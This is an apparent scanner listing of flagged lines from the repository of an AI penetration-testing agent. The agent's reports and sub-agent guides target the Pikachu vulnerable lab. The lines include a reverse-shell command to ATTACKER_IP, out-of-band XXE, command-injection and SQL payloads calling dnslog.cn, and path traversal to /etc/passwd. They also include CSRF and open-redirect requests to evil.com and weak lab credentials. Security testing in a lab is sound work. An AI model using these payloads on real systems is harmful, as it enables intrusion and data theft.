<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td> <td><span class="row-open-indicator">›</span></td> - Network accessline 1214
<td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td> - Network accessline 1221
<td><span style="font-size:12px;color:var(--text-muted)">越权访问</span></td> <td><span class="conf-badge">potential</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php">h - Network accessline 1222
<td><span class="conf-badge">potential</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php">http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php</div></td> <td - Network accessline 1223
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php">http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php</div></td> - Network accessline 1325
</div> <div class="attack-chain-step-title">SSRF /vul/ssrf/ssrf_curl.php - url参数通过curl访问内部服务</div> <div class="attack-chain-step-desc">SSRF(curl) - ssrf_curl.php的url参数通过PHP curl库发起服务端请求,可访问内部资源如 http://127.0.0.1/pkxs - Network accessline 1326
<div class="attack-chain-step-title">SSRF /vul/ssrf/ssrf_curl.php - url参数通过curl访问内部服务</div> <div class="attack-chain-step-desc">SSRF(curl) - ssrf_curl.php的url参数通过PHP curl库发起服务端请求,可访问内部资源如 http://127.0.0.1/pkxss/index.php,DNS OOB - Network accessline 1327
<div class="attack-chain-step-desc">SSRF(curl) - ssrf_curl.php的url参数通过PHP curl库发起服务端请求,可访问内部资源如 http://127.0.0.1/pkxss/index.php,DNS OOB确认服务端出公网能力</div> - Network accessline 1480
</div> <div class="attack-chain-step-title">.git目录完全暴露 - 源代码仓库信息泄露</div> <div class="attack-chain-step-desc">.git目录完全暴露 - GitHub仓库 https://github.com/zhuifengshaonianhanlu/pikachu.git 公开、分支master、克隆时间等全部泄露,攻击者可获取完整源码 - Network accessline 1481
<div class="attack-chain-step-title">.git目录完全暴露 - 源代码仓库信息泄露</div> <div class="attack-chain-step-desc">.git目录完全暴露 - GitHub仓库 https://github.com/zhuifengshaonianhanlu/pikachu.git 公开、分支master、克隆时间等全部泄露,攻击者可获取完整源码分析数据库结构和认证逻辑</div> - Network accessline 1482
<div class="attack-chain-step-desc">.git目录完全暴露 - GitHub仓库 https://github.com/zhuifengshaonianhanlu/pikachu.git 公开、分支master、克隆时间等全部泄露,攻击者可获取完整源码分析数据库结构和认证逻辑</div> - Dangerous shell operationline 1592
<div class="attack-chain-step-desc">命令注入 - rce_ping.php的ipaddress参数通过管道符|注入系统命令(dir成功执行),PHP exec()函数未做escapeshellcmd/escapeshellarg过滤</div> - Dangerous shell operationline 1605
<div class="attack-chain-step-desc">PHP eval()代码执行 - rce_eval.php的txt参数直接在eval()中执行任意PHP代码(phpinfo()确认PHP 7.3.6、Linux环境、Apache Handler),可执行system()等危险函数</div> - Network accessline 1636
<div class="attack-chain-impact"> <div class="detail-block-title">链路影响</div> <div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令(如反弹shell到攻击者服务器: bash -c 'bash -i >& /de - Network accessline 1637
<div class="detail-block-title">链路影响</div> <div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令(如反弹shell到攻击者服务器: bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'),获取交互式 - Dangerous shell operationline 1638
<div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令(如反弹shell到攻击者服务器: bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'),获取交互式反向Shell。PHP eval可执行phpinfo()获取PHP完整配置、disable_funct - Network accessline 1638
<div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令(如反弹shell到攻击者服务器: bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'),获取交互式反向Shell。PHP eval可执行phpinfo()获取PHP完整配置、disable_funct - Network accessline 1717
info: { label: '信息', cls: 'badge-info' }, }; const vulnDrawerData = {"VUL-001": {"vuln_id": "VUL-001", "title": "客户端检测绕过文件上传 /vul/unsafeupload/clientcheck.php - WebShell获取RCE", "severity_label": "严重", "severity_cls": "badge-critical", " - Network accessline 1719
[Credential-related source omitted]
SKILL.md
- Network accessline 203
"tester": "vibe-pentest-agent-v1", // 固定值 "scope": { "target_url": "http://target:port/", // 测试目标 URL - Network accessline 204
"scope": { "target_url": "http://target:port/", // 测试目标 URL "tech_stack": ["java", "spring_boot_3", "halo_cms"] // 指纹识别结果 - Network accessline 205
"target_url": "http://target:port/", // 测试目标 URL - Network accessline 227
"confidence": "confirmed", // 枚举: confirmed, likely, potential "authenticated": true, // boolean,是否需要认证才能触发 "target_url": "http://...", // 漏洞目标 URL - Network accessline 228
"authenticated": true, // boolean,是否需要认证才能触发 "target_url": "http://...", // 漏洞目标 URL "description": "详细描述,包含影响分析。", - Network accessline 229
"target_url": "http://...", // 漏洞目标 URL - Network accessline 233
{ "label": "漏洞验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers", - Network accessline 234
"label": "漏洞验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers", "expected_evidence": "执行后应看到的关键响应证据" - Network accessline 235
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers", - Network accessline 241
"seq": 1, "label": "此交互的说明", "request": {"method": "GET", "url": "http://...", "headers": {}, "body": null}, - Network accessline 242
"label": "此交互的说明", "request": {"method": "GET", "url": "http://...", "headers": {}, "body": null}, "response": {"status_code": 200, "headers": {}, "body": "..."} - Network accessline 243
"request": {"method": "GET", "url": "http://...", "headers": {}, "body": null},
agents/api-agent/SKILL.md
- Network accessline 211
"confidence": "confirmed", "authenticated": false, "target_url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 212
"authenticated": false, "target_url": "http://192.168.1.133:8000/.git/HEAD", "description": ".git目录完全公开,攻击者可通过git clone获取完整源码,包含硬编码的数据库密码、API密钥等敏感信息。", - Network accessline 213
"target_url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 217
{ "label": "回放 .git 暴露确认请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/.git/HEAD\" --method GET --show-command --show-summary --include-headers", - Network accessline 218
"label": "回放 .git 暴露确认请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/.git/HEAD\" --method GET --show-command --show-summary --include-headers", "expected_evidence": "响应 - Network accessline 219
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/.git/HEAD\" --method GET --show-command --show-summary --include-headers", - Network accessline 227
"request": { "method": "GET", "url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 228
"method": "GET", "url": "http://192.168.1.133:8000/.git/HEAD", "headers": {}, - Network accessline 229
"url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 242
"request": { "method": "GET", "url": "http://192.168.1.133:8000/.git/config", - Network accessline 243
"method": "GET", "url": "http://192.168.1.133:8000/.git/config", "headers": {}, - Network accessline 244
"url": "http://192.168.1.133:8000/.git/config",
agents/auth-agent/SKILL.md
- Network accessline 213
"confidence": "confirmed", "authenticated": false, "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 214
"authenticated": false, "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php", "description": "登录接口未限制登录频率,使用弱口令字典成功破解出 admin:123456 和 pikachu:000000 两组有效凭证。", - Network accessline 215
"target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 219
{ "label": "回放弱口令登录成功请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/brute/bf_form.php\" --method POST --form '{\"username\":\"admin\",\"password\":\"123456\",\"subm - Network accessline 220
"label": "回放弱口令登录成功请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/brute/bf_form.php\" --method POST --form '{\"username\":\"admin\",\"password\":\"123456\",\"submit\":\"登录\"} - Network accessline 221
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/brute/bf_form.php\" --method POST --form '{\"username\":\"admin\",\"password\":\"123456\",\"submit\":\"登录\"}' --show-command --show-summary -- - Network accessline 229
"request": { "method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 230
"method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", "headers": {"Content-Type": "application/x-www-form-urlencoded"}, - Network accessline 231
"url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 244
"request": { "method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 245
"method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", "headers": {"Content-Type": "application/x-www-form-urlencoded"}, - Network accessline 246
"url": "http://192.168.1.133:8000/vul/brute/bf_form.php",
agents/business-agent/SKILL.md
- Network accessline 168
"confidence": "confirmed", "authenticated": true, "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 169
"authenticated": true, "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", "description": "用户资料修改接口使用GET请求且无CSRF Token防护,攻击者构造恶意 - Network accessline 170
"target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 174
{ "label": "回放 CSRF 恶意修改请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&su - Network accessline 175
"label": "回放 CSRF 恶意修改请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit\ - Network accessline 176
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit\" --method GET --show-command --show- - Network accessline 184
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php", - Network accessline 185
"method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php", "headers": {}, - Network accessline 186
"url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php", - Network accessline 199
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 200
"method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", "headers": {}, - Network accessline 201
"url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",
agents/file-agent/SKILL.md
- Network accessline 209
"confidence": "confirmed", "authenticated": false, "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd", - Network accessline 210
"authenticated": false, "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd", "description": "filename参数未校验路径穿越,通过../../../../可包含任意本地文件,成功读取/etc/passwd系统文件。", - Network accessline 211
"target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd", - Network accessline 215
{ "label": "回放路径穿越读取系统文件", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交\" --method GET --show-comman - Network accessline 216
"label": "回放路径穿越读取系统文件", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交\" --method GET --show-command --show-sum - Network accessline 217
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交\" --method GET --show-command --show-summary --include-headers", - Network accessline 225
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交", - Network accessline 226
"method": "GET", "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交", "headers": {}, - Network accessline 227
"url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交", - Network accessline 240
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../proc/self/environ&cmd=nslookup+abc123.dnslog.cn", - Network accessline 241
"method": "GET", "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../proc/self/environ&cmd=nslookup+abc123.dnslog.cn", "headers": {}, - Network accessline 242
"url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../proc/self/environ&cmd=nslookup+abc123.dnslog.cn",
agents/injection-agent/SKILL.md
- Network accessline 115
| 漏洞类型 | 验证方式 | 典型 Payload 示例 | |----------|---------|------------------| | **SSRF(OOB 验证)** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | - Network accessline 116
|----------|---------|------------------| | **SSRF(OOB 验证)** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | | **盲 XXE(OOB)** | 通过外部实体引用触发 DNS 查询 | `<!ENTITY % xxe SYSTEM "http://abc123.dnslog.cn/evil.dtd">` | - Network accessline 117
| **SSRF(OOB 验证)** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | - Network accessline 118
| **盲 XXE(OOB)** | 通过外部实体引用触发 DNS 查询 | `<!ENTITY % xxe SYSTEM "http://abc123.dnslog.cn/evil.dtd">` | - Network accessline 119
| **命令注入(盲)** | 通过 DNS 查询确认命令被执行 | `; nslookup abc123.dnslog.cn` 或 `\| ping abc123.dnslog.cn` | | **SQL 盲注(OOB 外带)** | 通过数据库 DNS 外带函数确认注入 | MySQL: `LOAD_FILE('\\\\abc123.dnslog.cn\\x')` Oracle: `UTL_HTTP.REQUEST('http://abc123.dnslog.cn')` - Network accessline 120
| **SQL 盲注(OOB 外带)** | 通过数据库 DNS 外带函数确认注入 | MySQL: `LOAD_FILE('\\\\abc123.dnslog.cn\\x')` Oracle: `UTL_HTTP.REQUEST('http://abc123.dnslog.cn')` | - Network accessline 263
"confidence": "confirmed", "authenticated": false, "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#", - Network accessline 264
"authenticated": false, "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#", "description": "name参数未做参数化处理,单引号注入后 OR 1=1 可泄露数据库中全部8个用户的UID和邮箱。", - Network accessline 265
"target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#", - Network accessline 269
{ "label": "漏洞验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询\" --method GET --show-command --show-summary --include- - Network accessline 270
"label": "漏洞验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询\" --method GET --show-command --show-summary --include-headers", - Network accessline 271
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询\" --method GET --show-command --show-summary --include-headers", - Network accessline 279
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询", - Network accessline 280
"method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询", "headers": {}, - Network accessline 281
"url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询", - Network accessline 294
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询", - Network accessline 295
"method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询", "headers": {}, - Network accessline 296
"url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询", - Network accessline 309
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_blind.php?id=1' UNION SELECT LOAD_FILE('\\\\abc123.dnslog.cn\\x')-- &submit=查询", - Network accessline 310
"method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_blind.php?id=1' UNION SELECT LOAD_FILE('\\\\abc123.dnslog.cn\\x')-- &submit=查询", "headers": {}, - Network accessline 311
"url": "http://192.168.1.133:8000/vul/sqli/sqli_blind.php?id=1' UNION SELECT LOAD_FILE('\\\\abc123.dnslog.cn\\x')-- &submit=查询",
agents/misc-agent/SKILL.md
- Network accessline 189
"confidence": "confirmed", "authenticated": false, "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 190
"authenticated": false, "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", "description": "url参数未校验域名白名单,服务端直接302重定向到任意外部域名,攻击者可用于钓鱼攻击。", - Network accessline 191
"target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 195
{ "label": "回放开放重定向请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com\" --method GET --show-command --show-summary --inc - Network accessline 196
"label": "回放开放重定向请求", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com\" --method GET --show-command --show-summary --include-headers - Network accessline 197
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com\" --method GET --show-command --show-summary --include-headers", - Network accessline 205
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 206
"method": "GET", "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", "headers": {}, - Network accessline 207
"url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 211
"response": { "status_code": 302, "headers": {"Location": "http://evil.com"}, - Network accessline 212
"status_code": 302, "headers": {"Location": "http://evil.com"}, "body": "" - Network accessline 213
"headers": {"Location": "http://evil.com"},
agents/poc-agent/SKILL.md
- Network accessline 150
| 变量 | 规则 | 示例(key = `http://192.168.1.133:8080/jenkins/`) | 示例(key = `http://target.com/`) | - Network accessline 151
|------|------|--------------------------------------------------|----------------------------------| | `{{BaseURL}}` | key 去掉末尾斜杠,**保留路径部分** | `http://192.168.1.133:8080/jenkins` | `http://target.com` | | `{{RootURL}}` | 仅保留 `scheme://host - Network accessline 152
| `{{BaseURL}}` | key 去掉末尾斜杠,**保留路径部分** | `http://192.168.1.133:8080/jenkins` | `http://target.com` | - Network accessline 153
| `{{RootURL}}` | 仅保留 `scheme://host:port`,**去掉路径部分** | `http://192.168.1.133:8080` | `http://target.com` | - Network accessline 172
- `nuclei-templates` — [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Network accessline 173
- `Awesome-POC` — [https://github.com/Threekiii/Awesome-POC](https://github.com/Threekiii/Awesome-POC) - Network accessline 174
- `Vulnerability-Wiki-PoC` — [https://github.com/SourByte05/Vulnerability-Wiki-PoC/tree/main](https://github.com/SourByte05/Vulnerability-Wiki-PoC/tree/main) - Network accessline 175
- `Exploit Database` — [https://www.exploit-db.com/](https://www.exploit-db.com/) - Network accessline 192
- 同一漏洞在本地 YAML、联网搜索、Exploit-DB、博客复现、GitHub issue / advisory 中同时命中时,如果**存在不同payload变体**,保留所有变体,作为一个漏洞候选。 - 联网命中的候选只有在精读后确认 endpoint、方法、参数位置、payload 结构、命令形式、动态值和 matcher/OOB 条件完全等价时,才允许把多个来源标记为同一变体;否则必须作为独立变体保留。 - 联网命中的非 YAML POC、脚本型 POC、复现文章 - Network accessline 194
- 联网命中的非 YAML POC、脚本型 POC、复现文章不得因为已有同 CVE 本地 YAML 或 nuclei 模板就直接丢弃;即使只展示部分请求,只要包含关键差异(如 GET query 与 POST XML body、XML 属性与 XML 子元素、curl 与 nslookup、不同 typeName / namespace),也必须保留为待补全变体。 - Dangerous shell operationline 223
2. **表达式解析层失败**:如 `No such attribute: exec(...)`、`No such property`、表达式原文被当作属性名、函数名未识别、payload 未进入调用语义,应标记为“表达式未被执行/仅按属性名解析”,并优先切换表达式入口、参数位置、语法形式、协议版本或 typeName。 - Network accessline 368
"confidence": "confirmed", "authenticated": false, "target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 369
"authenticated": false, "target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", "description": "通过指纹识别发现 Jenkins/2.138,匹配 POC CVE-2018-1000861 验证存在远程命令注入漏洞。", - Network accessline 370
"target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 374
{ "label": "POC 验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...\" --method GET --include-headers --show-summary --respo - Network accessline 375
"label": "POC 验证回放命令", "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...\" --method GET --include-headers --show-summary --response-max-line - Network accessline 376
"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...\" --method GET --include-headers --show-summary --response-max-lines 100 --allow-insecure --timeout - Network accessline 384
"request": { "method": "GET", "url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 385
"method": "GET", "url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", "headers": {}, - Network accessline 386
"url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 399
"request": { "method": "GET", "url": "http://192.168.1.133:8080/api/ssrf?url=http://abc123.dnslog.cn", - Network accessline 400
"method": "GET", "url": "http://192.168.1.133:8080/api/ssrf?url=http://abc123.dnslog.cn", "headers": {}, - Network accessline 401
"url": "http://192.168.1.133:8080/api/ssrf?url=http://abc123.dnslog.cn", - Network accessline 428
"confidence": "potential", "authenticated": false, "target_url": "http://192.168.1.133:8080/xxx", - Network accessline 429
"authenticated": false, "target_url": "http://192.168.1.133:8080/xxx", "description": "目标存在对应组件与接口,匹配 POC CVE-XXXX-XXXXX,但验证依赖执行破坏性命令/写入生产数据,无法通过无害 payload 替换或 OOB 外带完成无害化验证,故未实际验证。漏洞可能真实存在,建议人工复验。", - Network accessline 430
"target_url": "http://192.168.1.133:8080/xxx",
config/proxy_usage.md
pocs/POC_SEARCH_SOURCES_USER.md
pocs/README.md
pocs/public/360tianqin-rptsvr-fileupload.yaml
- Network accessline 7
description: 奇安信天擎管理中心 <=V6.7.0.4130 版本的rptsvr接口存在任意文件上传漏洞,攻击者利用该漏洞可获取服务器权限。 reference: - "https://github.com/wy876/POC/blob/af376b2a7135eeb57a5abbb4dc2f9b59b90cbd43/Atlassian%20Confluence%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89% - Network accessline 8
reference: - "https://github.com/wy876/POC/blob/af376b2a7135eeb57a5abbb4dc2f9b59b90cbd43/Atlassian%20Confluence%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2023-22527).md" metadata: - Network accessline 9
- "https://github.com/wy876/POC/blob/af376b2a7135eeb57a5abbb4dc2f9b59b90cbd43/Atlassian%20Confluence%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2023-22527).md" - Network accessline 14
fingerprint: 360天擎终端安全管理系统 publish_time: "2024-01-16" bug_solve: 关注厂商官网:https://www.qianxin.com/获取补丁或更新版本。 - Network accessline 15
publish_time: "2024-01-16" bug_solve: 关注厂商官网:https://www.qianxin.com/获取补丁或更新版本。 bug_web: https://www.qianxin.com/ - Network accessline 16
bug_solve: 关注厂商官网:https://www.qianxin.com/获取补丁或更新版本。 - Network accessline 17
bug_web: https://www.qianxin.com/
pocs/public/AOFA_checkingin_SQL.yaml
- Network accessline 7
description: 傲发办公通信专家 Checkingin.ashx 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 此漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 reference: - "https://mp.weixin.qq.com/s/yXhs5qLmTSRkKQzmI1nm5w" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/yXhs5qLmTSRkKQzmI1nm5w" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/yXhs5qLmTSRkKQzmI1nm5w" - Network accessline 12
fingerprint: "傲发办公通信专家系统" publish_time: "2025-09-08" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://www.aofax11.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-09-08" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://www.aofax11.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "http://www.aofax11.com" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://www.aofax11.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "http://www.aofax11.com"
pocs/public/AlibabaNacos_v1_CVE-2021-29441_AuthBypass.yaml
- Network accessline 8
Alibaba Nacos has an authentication bypass vulnerability due to improper handling of the User-Agent header. By setting User-Agent to 'Nacos-Server', attackers can perform arbitrary operations including creating new users and accessing admin - Network accessline 9
reference: - https://github.com/chaitin/xray/blob/master/pocs/alibaba-nacos-v1-auth-bypass.yml - https://blog.csdn.net/zy15667076526/article/details/116298345 - Network accessline 10
- https://github.com/chaitin/xray/blob/master/pocs/alibaba-nacos-v1-auth-bypass.yml - Network accessline 11
- https://blog.csdn.net/zy15667076526/article/details/116298345
pocs/public/Anheng-minyu-waf_report_ArbitraryUserLogin.yaml
- Network accessline 8
Anheng Minyu WEB Application Firewall has an arbitrary user login vulnerability via the /report.m endpoint. Attackers can log in to the admin panel without credentials and execute remote commands. reference: - https://github.com/PeiQi - Network accessline 9
reference: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/1a8f82100592eba10a7f6086f18fb67a4806c657/docs/wiki/iot/%E5%AE%89%E6%81%92/%E5%AE%89%E6%81%92%20%E6%98%8E%E5%BE%A1WEB%E5%BA%94%E7%94%A8%E9%98%B2%E7%81%AB%E5%A2%99%20report.php%2 - Network accessline 10
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/1a8f82100592eba10a7f6086f18fb67a4806c657/docs/wiki/iot/%E5%AE%89%E6%81%92/%E5%AE%89%E6%81%92%20%E6%98%8E%E5%BE%A1WEB%E5%BA%94%E7%94%A8%E9%98%B2%E7%81%AB%E5%A2%99%20report.php%20%E4%BB%BB%E6%8
pocs/public/ApacheSolr_CVE-2021-27905_SSRF.yaml
- Network accessline 7
description: Apache Solr的replication接口存在参数过滤不严格的问题,在未开启认证的情况下,攻击者可构造特定请求造成SSRF漏洞。 reference: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-914 - Network accessline 8
reference: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-914 - https://www.anquanke.com/post/id=238201 - Network accessline 9
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202104-914 - Network accessline 10
- https://www.anquanke.com/post/id=238201 - Network accessline 50
